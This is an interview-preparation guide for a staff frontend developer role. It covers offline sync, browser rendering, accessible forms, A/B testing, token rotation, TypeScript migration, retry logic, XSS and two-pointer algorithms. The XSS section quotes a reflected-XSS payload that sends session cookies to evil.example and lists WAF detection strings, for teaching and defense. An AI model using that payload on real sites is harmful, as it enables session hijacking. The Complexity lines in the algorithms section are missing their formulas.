Microsoft Staff Frontend Developer Interview Preparation Guide

High-level approach

Use an offline-first client with Service Worker + Background Sync for retries, IndexedDB as single source-of-truth, an operation queue (op-log) persisted in IndexedDB, optimistic UI updates, server-side versioning, and conflict resolution strategies (merge or manual).

Storage choices

• IndexedDB (via idb or localForage) for documents, metadata, and the op queue — durable, large, works offline.
• Cache API / blob storage for attachments.
• In-memory indices for UI performance; rebuild from IndexedDB on startup.

Queue format (op-log item)

• id (uuid), docId, type (create/edit/delete), payload (delta or full), baseVersion (server version client knew), clientTs, retryCount, backoffUntil, status (pending/processing/failed).
• Use deltas (patches) for small ops; occasionally emit full snapshot to simplify recovery.

Retry & backoff

• Background Sync + periodic sync when online.
• Exponential backoff:
  • backoffMs = base * 2^retryCount + jitter
  • update backoffUntil; stop after maxRetries => mark failed and surface to user.
• Use BroadcastChannel or postMessage to update open tabs.

Conflict detection & resolution

• Detect: server responds with 409 + currentVersion or returns divergent patches.
• Strategies:
  • For structured documents, use CRDT (Automerge/Yjs) to auto-merge.
  • For text-only, use OT/CRDT library or three-way merge using baseVersion + client patch.
  • Fallback: present human-readable diff and allow the user to accept/merge.
• Always store both server and local versions so UI can show a conflict view.

UI feedback

• Per-document status badges: Pending (spinner), Syncing, Synced (green), Failed (red), Conflict (yellow).
• Inline indicators for specific fields changed offline.
• Actionable conflict modal: show local vs server, quick-merge suggestions, accept server/local, or manual edit.
• Toasts for global sync errors and progress bar for batch sync.

Bounding queue size

• Collapse ops: consolidate consecutive edits to same doc into one op (apply patch squashing).
• Periodic snapshotting: after N ops compress into a single snapshot and remove prior ops.
• Hard caps (e.g., 500 ops or X MB): when reached, evict oldest non-critical ops or prompt user to sync/clear.
• Respect browser storage quota APIs; surface warnings if nearing quota.

Why this works (frontend perspective)

• IndexedDB + Service Worker gives durable offline UX; optimistic updates keep UI responsive; op-log + versioning makes sync deterministic; CRDT/merge strategies reduce manual conflict load; UI signals keep users informed and able to act.

Approach (brief)
I’ll classify each operation as causing: Repaint only (visual paint), Reflow/Layout (layout calculation; implies repaint), or Both. Reflow = expensive; reading certain layout properties can force synchronous layout.

Classifications and reasoning

• changing transform → Repaint only (compositor/paint; does not change layout; often GPU-accelerated)
• changing element width via style → Reflow/Layout (changes geometry → layout + repaint; may cascade to children/ancestors)
• changing color (background-color) → Repaint only (visual paint; no layout change)
• reading offsetWidth → Triggers synchronous Reflow/Layout (reading layout measurement forces browser to flush pending style/layout updates before returning value)
• toggling display: none → Reflow/Layout (removes/adds from layout flow → full layout + repaint)
• toggling visibility: hidden → Repaint only (element still in flow; only visual change; no reflow)
• adding/removing a class that affects layout → Reflow/Layout (if the class changes geometry-related properties like width/margin; otherwise may be repaint-only if only color/opacity)

Tips for interviews / performance
Mention that layout triggers are transitive and costly; prefer transform/opacity for animations and avoid frequent style reads that force layout.

Direct answer. Every form control needs a programmatically associated label, not just a visually adjacent one, using an explicit <label for="id"> (or wrapping the control), because a screen reader announces the control's accessible name from that association, not from proximity on screen. Placeholders are not a substitute for a label because the text disappears once the user starts typing, defeating anyone who needs to glance back at what the field is for.

Label positioning and association.

• Explicit association: <label for="email">Email</label><input id="email">. This is preferred because it also makes the label clickable, which expands the effective click/tap target for the field.
• aria-labelledby is used when the visible label text lives somewhere other than a <label> element, e.g. a table where a column heading serves as the label for several inputs in that column: <input aria-labelledby="col-quantity row-3">.
• aria-describedby supplements the accessible name with additional context (helper text, format hints, error messages) without replacing the name; it's read after the name, not instead of it.

Why placeholders fail as labels, verified.

import { JSDOM } from 'jsdom';
const dom = new JSDOM('<input id="email" type="text" placeholder="Email address">');
global.window = dom.window; global.document = dom.window.document;
const { default: axe } = await import('axe-core');
const results = await axe.run(document.documentElement, { runOnly: { type: 'rule', values: ['label'] } });
console.log(results.violations.map(v => v.id));  // []
console.log(results.passes.map(v => v.id));      // ['label']

Running this against a placeholder-only input confirmed something non-obvious: it does NOT trigger axe's "label" violation (violations is empty, passes includes label), because per the accessible-name computation spec, placeholder is a valid fallback naming source when nothing else is present, so the field technically has a name. That is precisely why automated testing alone catches only part of this problem: the real defect is not the absence of a name, it's the absence of a PERSISTENT, sufficiently-contrasted, always-visible one. The moment the user starts typing, that name-source is gone from view even though the accessible name (still read by a screen reader on refocus) remains, which is confusing for a sighted low-vision user relying on the visible text and unaffected for a screen-reader-only user, so the two failure modes are different populations.

Grouped inputs and required-field indication. For related fields (e.g. a billing address's street/city/state), wrap them in <fieldset> with a <legend> naming the group, so a screen reader announces the group context once rather than requiring each field's label to repeat "billing" redundantly. Mark required fields with the native required attribute (which most assistive technology announces as "required" automatically) plus a visible asterisk or "(required)" text, not color alone.

Associating error messages programmatically. Point aria-describedby at the error message's id, and add aria-invalid="true" on the field itself, so a screen reader announces both the field's name and its error state and description together when focus lands on it, e.g. "Email, invalid, required format is name@example.com."

A signup-form example. For a multi-field signup form: name and email get <label> associations plus aria-describedby pointing at format hints ("we'll never share this"); password gets a <fieldset> grouping the field with its visible requirements list; the whole form's submit button stays enabled but triggers field-level aria-invalid and a focus-move to the first invalid field on failed submission, so a screen reader user lands directly on the first problem instead of having to hunt for it.

Trade-offs and pitfalls. A placeholder passing automated checks does not mean it's acceptable practice; treat "axe passed" as necessary, not sufficient, evidence for form-field naming quality.

Situation & goal
Measure real-world impact of lazy-loading images + route-based code-splitting on LCP (Largest Contentful Paint) and CLS (Cumulative Layout Shift) while protecting UX.

Traffic allocation & groups

• 3-arm RCT: Control (current), Variant A (lazy-load images), Variant B (lazy-load + route-based code-splitting).
• Allocate 20% each to A and B, 60% to Control for safety and quicker baseline — adjust if capacity allows 33/33/33.

Tagging users

• Assign persistent client-side experiment_id via server-set cookie or localStorage with server-side fallback for signed-in users.
• Include experiment_id and timestamp in telemetry events.

Instrumentation

• Capture LCP and CLS using PerformanceObserver (browser API) and send beacon on pagehide/visibilitychange.
• Also record: first input delay (FID), Time to Interactive (TTI), resource timing (image sizes, payload), device type, network effective type (4G/3G), route path.
• Include UX guard metrics: error rates, bounce rate within 30s, session duration, engagement (clicks).

Sample size estimation

• Use baseline LCP mean μ and std σ from telemetry. For detecting a delta d (e.g., 100 ms) at 80% power, 2-sided α=0.05, per-arm sample:

n = 2 * (Z_{1-α/2} + Z_{power})^2 * σ^2 / d^2

• Example: σ=400ms, d=100ms → n ≈ 2*(1.96+0.84)^2*(400^2)/(100^2) ≈ ~1250 users per arm (adjust for clustering and heavy-tailed LCP by using median bootstrap).

Statistical approach

• Pre-register primary metrics: median LCP, 75th-percentile CLS. Use non-parametric bootstrap for medians and percentiles; report effect size and 95% CI. Control family-wise error for two comparisons (Benjamini-Hochberg or Bonferroni).
• Analyze subgroups (mobile/desktop, slow networks) as secondary, flagged a priori.

Duration

• Run until sample size met across segments and at least 2 full weeks to capture weekly cycles and caching effects.

Guardrails & rollout safety

• Real-time monitoring dashboard with alerting for:

  • 10% increase in bounce or error rate

  • Regression in median LCP >200ms or CLS >0.1
• Kill switch to instantly revert on alerts.
• Gradual ramp: start with 1% internal users → 5% beta → full experiment.
• A/B test only in browsers supporting native lazy-loading; polyfill path treated as separate analysis.

Interpretation & rollout

• If significant improvement without UX regressions, roll out B progressively; otherwise iterate (tweak thresholds, preload critical images, reserve LCP-critical resources).

Overview / Goal
Describe a refresh-token rotation strategy so stolen refresh tokens cannot be reused to maintain sessions.

How rotation works

• On successful token refresh the server:
  1. Issues a new access token and a new refresh token.
  2. Stores the new refresh token server-side (e.g., DB or cache) tied to session id and rotates its identifier.
  3. Marks the old refresh token as used/invalidated (single-use).
• Client replaces the stored refresh token with the new one immediately after a successful refresh.

Detecting reuse & revoking sessions

• Server records metadata (token id, issued_at, rotated_from, IP, UA). If an incoming refresh token is already marked used:
  • Treat as token theft: revoke the entire session and any related tokens.
  • Optionally notify user (email) and require re-authentication.
  • Keep a short audit trail and rotate session identifiers.

Where to store refresh tokens (frontend)

• Prefer httpOnly, Secure, SameSite=strict cookies for refresh tokens to mitigate XSS.
• Access tokens can live in memory (e.g., React state or Redux) to limit persistence.
• If using cookies, front-end sends fetch with credentials: 'include' and relies on server to set new cookie on refresh.

Frontend handling: rotation failures & logout

• On refresh success: update in-memory access token; if cookie-based refresh token, no client write needed.
• On refresh failure (invalid/used token): treat as compromised — force full logout, clear client state, redirect to login, show a clear message like “Session expired or security issue — please sign in again.”
• Implement exponential backoff + one retry for transient network errors, but if server responds 401/403 revoke session immediately.
• Provide explicit logout: call logout endpoint to clear server session and instruct client to clear local state and cookies.

Frontend implementation notes

• Use a central refresh handler (single in-flight refresh promise) to avoid race conditions.
• Protect against token swapping: queue API calls while refresh in progress.
• Log (client-side) anomolous refresh failures to monitoring for detection.

Strategy overview
Start non-disruptively: enable TypeScript to coexist with JS, convert files incrementally, add CI type-checks progressively and support devs with tooling and docs.

Starter tsconfig
Use permissive settings, then tighten:

{
  "compilerOptions": {
    "allowJs": true,
    "checkJs": false,
    "noEmit": true,
    "isolatedModules": true,
    "jsx": "react",
    "module": "esnext",
    "target": "es2020",
    "skipLibCheck": true,
    "incremental": true,
    "strict": false,
    "esModuleInterop": true
  },
  "include": ["src/**/*"]
}

Enable "checkJs": true and some strict flags later per-package.

File-by-file approach

• Pick low-risk areas (utils, small components).
• Rename .js -> .ts or .tsx and fix obvious type errors.
• Replace implicit any with narrow types; prefer simple interfaces initially.
• Use // @ts-expect-error temporarily for hard spots, track and remove.
• Commit small PRs (single module or feature) with tests.

Third-party libs without types

• Install @types/* from DefinitelyTyped when available.
• Add minimal local declarations: create src/types/*.d.ts with
  declare module 'some-lib';
• Use JSDoc typings or write small hand-rolled types for critical surfaces.
• For complex libs, wrap usage in a typed adapter.

CI gating

• Stage 1: run ESLint + unit tests, no type-check blocking.
• Stage 2 (after core conversion): add tsc --noEmit job for changed packages/files.
• Enforce per-PR type errors; fail only if new files or modified areas introduce errors.
• Add a nightly full-typecheck; require fixes before major release.

Developer onboarding

• Provide checklist, coding guidelines, sample conversions.
• Share editor config, tsserver tips, and codemods (jscodeshift/TS-Migrate).
• Hold live pairing sessions and office hours.
• Track migration progress in a dashboard; celebrate milestones.

This incremental plan minimizes disruption while moving the codebase to stronger typing over time.

Direct answer

I separate the decision into what's actually unknown, what's knowable in the time available, and what we simply have to accept as risk, then I get stakeholders to state their risk tolerance in concrete terms instead of arguing about the plan in the abstract. I make the recommendation defensible by documenting the assumptions and the trigger conditions that would make us reverse it, so the reasoning survives even if the outcome doesn't.

How I structure a decision with incomplete information

• List the knowns, the unknowns, and what each unknown costs if it goes the wrong way. Not every unknown is worth resolving; the ones worth spending time on are the ones whose failure mode is expensive.
• Turn "how much risk is acceptable" into a concrete question. Instead of asking stakeholders whether they're comfortable with risk, I ask what specific loss they can tolerate and what signal would tell us we crossed the line. That turns a values disagreement into a measurable threshold people can actually agree on.
• Pick the option whose worst case is recoverable, not the option with the best expected case, when the unknowns are large. A decision that can be cheaply undone is worth more than its expected value suggests, because it buys time to learn the thing you don't currently know.
• Write the recommendation down with its assumptions and its reversal trigger, before the rollout starts, not after. If I'm wrong, the paper trail should make it obvious what changed, not just that it failed.

Worked example

A team was migrating a sharded datastore to a new partitioning scheme ahead of a growth push, and the traffic pattern for the new user segment driving that growth wasn't fully characterized yet: we had projections, not production data. Product wanted to cut over before the segment launched to avoid a second migration later; the SRE team wanted to wait for real traffic data before committing to a partition key, worried about a bad key choice causing hot shards that would need a second, more disruptive migration to fix.

I laid out the actual unknowns: how skewed the new segment's access pattern would be, and how expensive a second migration would be if the first key choice was wrong. I asked the SRE team to state the concrete failure mode they were protecting against (sustained P99 latency degradation on the hottest shard) and asked product what loss was acceptable if we waited (a fixed number of weeks of delay to the growth push). Both were quantifiable once stated that way. I recommended a phased cutover: migrate on the best-available projected key, but keep the old sharding scheme's routing code live and instrument shard-level load so we would have real signal within the first two weeks of the new segment's traffic, with an explicit threshold (sustained shard imbalance past a set point) that would trigger a second, corrective repartition rather than an emergency one. I documented the projection we used, why we chose it over waiting, and the exact signal that would tell us it was wrong.

Trade-offs and pitfalls

• Treating "we don't have enough data" as a reason to wait indefinitely. Waiting has a cost too; the discipline is comparing the cost of waiting against the cost of a wrong guess you can detect and correct quickly.
• Letting the loudest stakeholder's risk tolerance become the default. Stating tolerance in concrete, comparable terms is what prevents the decision from just reflecting whoever argued longest.
• Skipping the instrumentation that would tell you if you were wrong. A phased decision without a real signal to watch is not actually phased, it's just a delayed all-at-once bet.
• Documenting the decision but not the trigger for reversing it. A record of "why we chose this" without "what would make us change it" doesn't actually reduce risk, it just explains the risk after the fact.

Approach (brief)

• Attempt fetch up to retries times.
• For each attempt, use AbortController to enforce per-attempt timeout.
• Retry on network errors or 5xx responses; stop and reject on 4xx.
• Use exponential backoff with full jitter: delay = random(0, base * 2^attempt).

Implementation

// retryFetch.js
async function retryFetch(url, options = {}) {
  const {
    retries = 3,
    backoffBaseMs = 200,
    timeoutMs = 5000, // per-attempt timeout
    fetchFn = fetch
  } = options;

  const isRetriableStatus = status => status >= 500 || status === 429;

  for (let attempt = 0; attempt <= retries; attempt++) {
    const controller = new AbortController();
    const signal = controller.signal;
    const attemptOptions = { ...options, signal };

    // start timeout for this attempt
    const timeout = setTimeout(() => controller.abort(), timeoutMs);

    try {
      const res = await fetchFn(url, attemptOptions);
      clearTimeout(timeout);

      if (res.ok) return res; // 2xx

      if (!isRetriableStatus(res.status)) {
        // 4xx or other non-retriable
        const text = await res.text().catch(() => '');
        throw new Error(`Non-retriable HTTP ${res.status}: ${text}`);
      }

      // retriable 5xx or 429 -> fallthrough to retry logic
      const bodyPreview = await res.text().catch(() => '');
      if (attempt === retries) {
        throw new Error(`Failed after ${attempt + 1} attempts. Last status ${res.status}: ${bodyPreview}`);
      }
    } catch (err) {
      clearTimeout(timeout);

      // If abort due to timeout, treat as transient
      const isAbort = err.name === 'AbortError';
      const isNetworkErr = err instanceof TypeError || isAbort;

      if (!isNetworkErr && err.message && err.message.startsWith('Non-retriable')) {
        // bubble up non-retriable errors
        throw err;
      }

      if (attempt === retries) {
        throw new Error(`Failed after ${attempt + 1} attempts: ${err.message}`);
      }
      // else fallthrough to delay+retry
    }

    // exponential backoff with full jitter
    const maxDelay = backoffBaseMs * Math.pow(2, attempt);
    const delay = Math.floor(Math.random() * maxDelay);
    await new Promise(r => setTimeout(r, delay));
  }
}

export default retryFetch;

Key points / complexity

• Time: up to O(retries) network attempts; Wall-clock depends on backoff and timeouts.
• Space: O(1).
• Edge cases: large response bodies (use text() cautiously), aborted controller cleanup, distinguishing network vs non-retriable HTTP 4xx.
• Alternatives: capped backoff, decorrelated jitter, or use libraries like axios-retry for advanced policies.

Direct answer: Cross-Site Scripting (XSS) happens when an application takes attacker-influenced data and lets it execute as script in a victim's browser. There are three forms, distinguished by where the malicious payload lives and how it reaches the browser: stored (persisted on the server and served to other users), reflected (bounced straight back in the same response, e.g. in a search results page), and DOM-based (never touches the server at all; a client-side script reads attacker-controlled input, such as location.hash, and writes it into the page unsafely). All three map to CWE-79 (Improper Neutralization of Input During Web Page Generation).

How each arises and runs:

• Stored XSS: a comment field, profile bio, or support ticket is saved unescaped and later rendered to other users. Every visitor who views that page executes the payload. This is the most damaging form because it needs no social engineering; the victim just has to browse to a normal page.
• Reflected XSS: user input from the URL or a form field is echoed back into the HTML response without encoding, for example a "no results for <search term>" message. The attacker has to trick a victim into clicking a crafted link that carries the payload.
• DOM-based XSS: the vulnerable code path never reaches the server. A script reads something attacker-controlled (URL fragment, document.referrer, a postMessage payload) and writes it into the DOM via a "sink" like innerHTML or document.write. Because it is entirely client-side, server-side output encoding alone doesn't stop it; the fix has to be in the JavaScript itself.

Worked example. A page renders search results with <p>No results for "${query}"</p> built by direct string concatenation on the server. A request for ?q=<script>document.location='//evil.example/steal?c='+document.cookie</script> gets echoed verbatim. The browser parses the <script> tag as part of the page and executes it, sending the victim's session cookie to the attacker's server. This is reflected XSS: the payload lives entirely in the URL, and the server just bounces it back.

Mitigations, from most to least fundamental:

1. Context-aware output encoding at the point of insertion - HTML-entity-encode for text nodes, JavaScript-string-encode inside <script> blocks, URL-encode in href/src attributes. Encoding the wrong context (e.g. HTML-encoding something placed inside a <script> tag) is a common way this still fails.
2. Safe templating and frameworks - modern templating engines (Jinja2 autoescape, React's JSX text nodes, Vue's {{ }} interpolation) HTML-encode by default; the danger is almost always a deliberate escape hatch (|safe, dangerouslySetInnerHTML, v-html).
3. Content Security Policy (CSP) as defense in depth - a strict policy (no unsafe-inline, nonce- or hash-based script allowlisting) means an injected <script> tag simply won't execute even if the encoding step is missed somewhere.
4. Sanitization libraries (e.g. DOMPurify) when you must accept some HTML, such as rich-text comments; never hand-roll an HTML sanitizer with regex, it will miss parser edge cases.

Trade-offs and pitfalls: encoding once at storage time and again at render time can double-encode and mangle legitimate content (an & becomes &); the discipline is to store raw and encode only at output, per context. CSP is powerful but easy to weaken accidentally - a single unsafe-inline added to unblock a third-party analytics snippet reopens the whole class. On a modern single-page application, DOM-based XSS is now the more common real-world finding than server-reflected XSS, because so much rendering happens client-side; teams that only audit their server templates for encoding miss it entirely. Detection: for stored/reflected, grep for output sinks that don't go through the templating layer's auto-escaping; for DOM-based, trace every innerHTML/outerHTML/document.write/eval call back to its data source, and in a running app, browser devtools' "break on attribute modification" plus tools like DOMPurify's own test payloads help confirm a sink is genuinely reachable from attacker-controlled input.

For operational detection at runtime (useful when your own team runs a distributed system and wants defense in depth beyond code review): watch for a spike in requests carrying <script, javascript:, or onerror= patterns at the edge (WAF rules - a Web Application Firewall matching known attack signatures), and use DAST (Dynamic Application Security Testing) scans in CI to catch reflected cases before they ship. These controls catch what slips past code review; they are not a substitute for encoding at the source, since a sufficiently obfuscated payload (unicode escapes, case variation) will slip past a naive WAF signature.

Direct answer

On a sorted array, start one pointer at the beginning and one at the end, and move them toward each other based on how the current pair's sum compares to the target: this finds the pair in one linear pass using O(1) extra space, no hash map required. Sorted order is exactly what makes the hash map unnecessary, since it tells you in which direction to move without needing to remember every value you have already seen. The same converging-pointer idea, applied to two arrays instead of one target sum, gives you their intersection: advance whichever array currently has the smaller value.

Structured elaboration

Two-sum on a sorted array: maintain the invariant that every valid pair still under consideration lies between left and right. If arr[left] + arr[right] == target, you are done. If the sum is too small, arr[left] cannot be part of any valid pair with anything to its left (everything to the left is even smaller, making the sum only smaller), so advance left. If the sum is too large, by the same logic on the other side, retreat right. Because the array is sorted, this monotonic narrowing never skips over a valid pair: if one exists, it is found.

Why sorted order removes the need for a hash map: an unsorted two-sum needs a hash map to remember "have I seen the complement of this value yet," since there is no way to know which direction to search without that memory. Sorted order replaces that memory with structure: the comparison arr[left] + arr[right] versus target alone tells you which pointer must move, with no need to have seen anything before.

Adapting to intersect two sorted arrays: instead of pointers converging toward each other, they move in the same direction, each independently, starting both at index 0. Compare the current elements of each array: if equal, that value is in the intersection, and advance both; if array a's current element is smaller, it cannot match anything later in b (which is only larger from here), so advance a; otherwise advance b. This is the same "sorted order tells you which pointer to move, so no hash map is needed" idea, just applied across two sequences instead of within one.

Worked example

Two-sum, sorted array:

def two_sum_sorted(arr: list[int], target: int) -> tuple[int, int]:
    left, right = 0, len(arr) - 1
    while left < right:
        s = arr[left] + arr[right]
        if s == target:
            return left, right
        if s < target:
            left += 1
        else:
            right -= 1
    return -1, -1

arr = [2, 7, 11, 15]
print(two_sum_sorted(arr, 18))

Running this prints:

(1, 2)

arr[1] + arr[2] = 7 + 11 = 18.

Sorted-array intersection:

def intersect_sorted(a: list[int], b: list[int]) -> list[int]:
    i, j = 0, 0
    result = []
    while i < len(a) and j < len(b):
        if a[i] == b[j]:
            result.append(a[i])
            i += 1
            j += 1
        elif a[i] < b[j]:
            i += 1
        else:
            j += 1
    return result

a = [1, 2, 2, 3, 5, 8]
b = [2, 2, 3, 6, 8, 9]
print(intersect_sorted(a, b))

Running this prints:

[2, 2, 3, 8]

Key points

• Both algorithms use the same underlying idea: sorted order lets a single comparison decide which pointer must move, replacing the memory a hash map would otherwise need to provide.
• The intersection version keeps every duplicate (two 2s appear in both inputs, so two 2s appear in the output); deduplicating the result, if needed, is a separate, trivial step.

Complexity

for the sorted two-sum (n is the array length), and

for the intersection of arrays of length n and m, since each pointer advances at most once per element and never backtracks.

Edge cases

• Empty or single-element array: two_sum_sorted correctly returns (-1, -1) since the while left < right loop never runs.
• No valid pair exists: the loop exits naturally when left meets right, returning (-1, -1).
• Negative numbers: handled correctly, since the comparison s < target / s > target does not depend on sign.
• One array is empty in the intersection case: the while loop's length check exits immediately, correctly returning an empty result.

Trade-offs & pitfalls

Reaching for a hash map here works too (build a set of one array's values in $O(n)$ time and $O(n)$ space, then scan the other), and is actually necessary if the input is not sorted and sorting it first is not acceptable (for example, if the original order must be preserved in the output); but given already-sorted input, that hash map is pure overhead, since the sort order already encodes everything the hash map would tell you. A common mistake is trying to adapt the sum-target converging-pointer pattern directly to intersection by starting the second pointer at the end instead of at the start: intersection is fundamentally a same-direction scan (both arrays are being consumed left to right looking for equal elements), not a converging one (which relies on one array's values increasing while the other's decrease, a relationship two independent sorted arrays don't have with each other).